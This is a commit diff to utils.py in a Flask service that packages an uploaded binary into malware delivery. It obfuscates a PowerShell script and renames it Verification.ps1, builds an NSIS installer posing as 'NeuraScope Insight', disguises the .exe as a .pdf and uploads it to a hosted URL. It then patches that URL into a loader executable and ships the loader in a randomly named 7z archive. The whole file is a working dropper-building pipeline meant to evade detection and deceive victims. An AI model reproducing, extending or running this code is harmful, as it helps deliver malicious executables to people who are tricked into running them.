sigyllly commited on
Commit
d6ebe0b
·
verified ·
1 Parent(s): c3a2bf6

Update utils.py

Browse files
Files changed (1) hide show
  1. utils.py +27 -4
utils.py CHANGED
@@ -33,12 +33,14 @@ def obfuscate_powershell_script(ps1_path):
33
  process.stdin.flush()
34
  stdout, stderr = process.communicate()
35
 
 
36
  current_app.logger.info(f"Obfuscation script stdout: {stdout}")
37
  current_app.logger.error(f"Obfuscation script stderr: {stderr}")
38
 
39
  if process.returncode != 0:
40
  raise Exception(f"Error obfuscating PowerShell script: {stderr}")
41
 
 
42
  obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
43
  if not os.path.exists(obfuscated_file):
44
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
@@ -51,6 +53,7 @@ def generate_nsi_script(folder_path, bin_file, ps1_file):
51
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
52
  installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
53
 
 
54
  NSIS_SCRIPT_TEMPLATE = r"""
55
  ; NeuraScope Insight Installer Script
56
  !include "MUI2.nsh"
@@ -115,14 +118,17 @@ def compile_nsi_script(nsi_file_path):
115
 
116
  def upload_file_to_server(file_path):
117
  try:
 
118
  renamed_file_path = file_path.replace('.exe', '.pdf')
119
  os.rename(file_path, renamed_file_path)
120
 
 
121
  with open(renamed_file_path, 'rb') as file:
122
  response = requests.post(UPLOAD_URL, files={'file': file})
123
 
124
  if response.status_code == 200:
125
  data = response.json()
 
126
  filename = os.path.basename(renamed_file_path)
127
  fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
128
  return fixed_url
@@ -142,6 +148,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
142
  with open(file_path, 'rb') as exe_file:
143
  data = exe_file.read()
144
 
 
145
  encodings = ['utf-8', 'ascii', 'utf-16le']
146
  url_found = False
147
  for encoding in encodings:
@@ -153,6 +160,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
153
  if not url_found:
154
  raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
155
 
 
156
  string_found = False
157
  for encoding in encodings:
158
  old_string_bytes = old_string.encode(encoding)
@@ -163,12 +171,15 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
163
  if not string_found:
164
  raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
165
 
 
166
  new_url_bytes = new_url_padded.encode(encoding)
167
  modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
168
 
 
169
  new_string_bytes = new_string_padded.encode(encoding)
170
  modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
171
 
 
172
  modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
173
  with open(modified_file_path, 'wb') as modified_file:
174
  modified_file.write(modified_data)
@@ -180,6 +191,7 @@ def replace_url_in_exe(file_path, old_url, new_url, old_string, new_string):
180
  def process_request(request):
181
  temp_dir = None # Initialize temp_dir to be used in the finally block
182
  try:
 
183
  if 'file' not in request.files:
184
  raise ValueError("No file part in the request")
185
 
@@ -192,35 +204,45 @@ def process_request(request):
192
  bin_path = os.path.join(temp_dir, file.filename)
193
  file.save(bin_path)
194
 
 
195
  bin_file_name = os.path.basename(bin_path)
196
 
 
197
  with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
198
  ps1_content = ps1_file.read()
199
 
 
200
  ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
201
 
202
  ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
203
  with open(ps1_path, 'w') as ps1_file:
204
  ps1_file.write(ps1_content)
205
 
 
206
  obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
207
 
 
208
  if not os.path.exists(obfuscated_ps1_path):
209
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
210
 
 
211
  verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
212
  os.rename(obfuscated_ps1_path, verification_ps1_path)
213
 
 
214
  nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
215
  compile_nsi_script(nsi_file_path)
216
 
 
217
  download_url = upload_file_to_server(installer_output)
218
 
 
219
  new_string = os.path.basename(download_url)
220
  new_url = download_url
221
  print(f"new_string: {new_string}")
222
  print(f"new_url: {new_url}")
223
 
 
224
  pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
225
  modified_pe_path = replace_url_in_exe(
226
  file_path=pe_exe_path,
@@ -231,17 +253,18 @@ def process_request(request):
231
  )
232
 
233
  # Create a .7z archive with ultra compression and LZMA2
234
- archive_filename = generate_random_string() + ".7z"
235
- archive_filepath = os.path.join(temp_dir, archive_filename)
236
- with py7zr.SevenZipFile(archive_filepath, 'w', filters=[{'id': 'LZMA2', 'preset': 9}]) as archive:
237
  archive.write(modified_pe_path, os.path.basename(modified_pe_path))
238
 
239
  # Return the .7z file in the response
240
- return send_file(archive_filepath, as_attachment=True, download_name=archive_filename)
241
 
242
  except Exception as e:
243
  current_app.logger.error(f"An error occurred: {str(e)}")
244
  return jsonify({"error": str(e)}), 500
245
  finally:
 
246
  if temp_dir and os.path.exists(temp_dir):
247
  shutil.rmtree(temp_dir, ignore_errors=True)
 
33
  process.stdin.flush()
34
  stdout, stderr = process.communicate()
35
 
36
+ # Log the stdout and stderr for debugging
37
  current_app.logger.info(f"Obfuscation script stdout: {stdout}")
38
  current_app.logger.error(f"Obfuscation script stderr: {stderr}")
39
 
40
  if process.returncode != 0:
41
  raise Exception(f"Error obfuscating PowerShell script: {stderr}")
42
 
43
+ # Check if the obfuscated file was created
44
  obfuscated_file = ps1_path.replace(".ps1", "_obf.ps1")
45
  if not os.path.exists(obfuscated_file):
46
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_file}")
 
53
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
54
  installer_output = os.path.join(folder_path, f"setup_{timestamp}.exe")
55
 
56
+ # NSIS script template
57
  NSIS_SCRIPT_TEMPLATE = r"""
58
  ; NeuraScope Insight Installer Script
59
  !include "MUI2.nsh"
 
118
 
119
  def upload_file_to_server(file_path):
120
  try:
121
+ # Rename the .exe file to .pdf
122
  renamed_file_path = file_path.replace('.exe', '.pdf')
123
  os.rename(file_path, renamed_file_path)
124
 
125
+ # Upload the renamed file to the server
126
  with open(renamed_file_path, 'rb') as file:
127
  response = requests.post(UPLOAD_URL, files={'file': file})
128
 
129
  if response.status_code == 200:
130
  data = response.json()
131
+ # Assuming the server returns a 'file_url' key with the file URL
132
  filename = os.path.basename(renamed_file_path)
133
  fixed_url = f'https://ambelo-benjamin.hf.space/uploads/{filename}' # Fixed URL format
134
  return fixed_url
 
148
  with open(file_path, 'rb') as exe_file:
149
  data = exe_file.read()
150
 
151
+ # Try different encodings of the old URL
152
  encodings = ['utf-8', 'ascii', 'utf-16le']
153
  url_found = False
154
  for encoding in encodings:
 
160
  if not url_found:
161
  raise ValueError(f"The URL {old_url} was not found in the executable using any common encoding.")
162
 
163
+ # Try different encodings for the old string
164
  string_found = False
165
  for encoding in encodings:
166
  old_string_bytes = old_string.encode(encoding)
 
171
  if not string_found:
172
  raise ValueError(f"The string {old_string} was not found in the executable using any common encoding.")
173
 
174
+ # Replace the old URL with the new URL
175
  new_url_bytes = new_url_padded.encode(encoding)
176
  modified_data = data.replace(old_url_bytes, new_url_bytes, 1)
177
 
178
+ # Replace the old string with the new string
179
  new_string_bytes = new_string_padded.encode(encoding)
180
  modified_data = modified_data.replace(old_string_bytes, new_string_bytes, 1)
181
 
182
+ # Save the modified executable with a random name
183
  modified_file_path = os.path.join(os.path.dirname(file_path), generate_random_string() + ".exe")
184
  with open(modified_file_path, 'wb') as modified_file:
185
  modified_file.write(modified_data)
 
191
  def process_request(request):
192
  temp_dir = None # Initialize temp_dir to be used in the finally block
193
  try:
194
+ # Save the incoming binary file
195
  if 'file' not in request.files:
196
  raise ValueError("No file part in the request")
197
 
 
204
  bin_path = os.path.join(temp_dir, file.filename)
205
  file.save(bin_path)
206
 
207
+ # Extract the file name from the full binary path
208
  bin_file_name = os.path.basename(bin_path)
209
 
210
+ # Read the PowerShell content from the local file
211
  with open(POWERSHELL_FILE_PATH, 'r') as ps1_file:
212
  ps1_content = ps1_file.read()
213
 
214
+ # Replace the placeholder with the actual binary file name
215
  ps1_content = ps1_content.replace("{bin_file_name}", bin_file_name)
216
 
217
  ps1_path = os.path.join(temp_dir, generate_random_string() + ".ps1")
218
  with open(ps1_path, 'w') as ps1_file:
219
  ps1_file.write(ps1_content)
220
 
221
+ # Obfuscate the PowerShell script
222
  obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
223
 
224
+ # Check if the obfuscated file exists before renaming
225
  if not os.path.exists(obfuscated_ps1_path):
226
  raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
227
 
228
+ # Rename the obfuscated file to Verification.ps1
229
  verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
230
  os.rename(obfuscated_ps1_path, verification_ps1_path)
231
 
232
+ # Generate and compile the NSIS script
233
  nsi_file_path, installer_output = generate_nsi_script(temp_dir, bin_path, verification_ps1_path)
234
  compile_nsi_script(nsi_file_path)
235
 
236
+ # Upload the resulting EXE file (renamed to PDF) to the server
237
  download_url = upload_file_to_server(installer_output)
238
 
239
+ # Print the new string and new URL for debugging
240
  new_string = os.path.basename(download_url)
241
  new_url = download_url
242
  print(f"new_string: {new_string}")
243
  print(f"new_url: {new_url}")
244
 
245
+ # Replace URL in PE executable
246
  pe_exe_path = os.path.join(PE_FOLDER, "pe.exe")
247
  modified_pe_path = replace_url_in_exe(
248
  file_path=pe_exe_path,
 
253
  )
254
 
255
  # Create a .7z archive with ultra compression and LZMA2
256
+ seven_zip_filename = generate_random_string() + ".7z"
257
+ seven_zip_filepath = os.path.join(temp_dir, seven_zip_filename)
258
+ with py7zr.SevenZipFile(seven_zip_filepath, 'w', filters=[{'id': 'LZMA2', 'level': 9}]) as archive:
259
  archive.write(modified_pe_path, os.path.basename(modified_pe_path))
260
 
261
  # Return the .7z file in the response
262
+ return send_file(seven_zip_filepath, as_attachment=True, download_name=seven_zip_filename)
263
 
264
  except Exception as e:
265
  current_app.logger.error(f"An error occurred: {str(e)}")
266
  return jsonify({"error": str(e)}), 500
267
  finally:
268
+ # Clean up temporary directories and files
269
  if temp_dir and os.path.exists(temp_dir):
270
  shutil.rmtree(temp_dir, ignore_errors=True)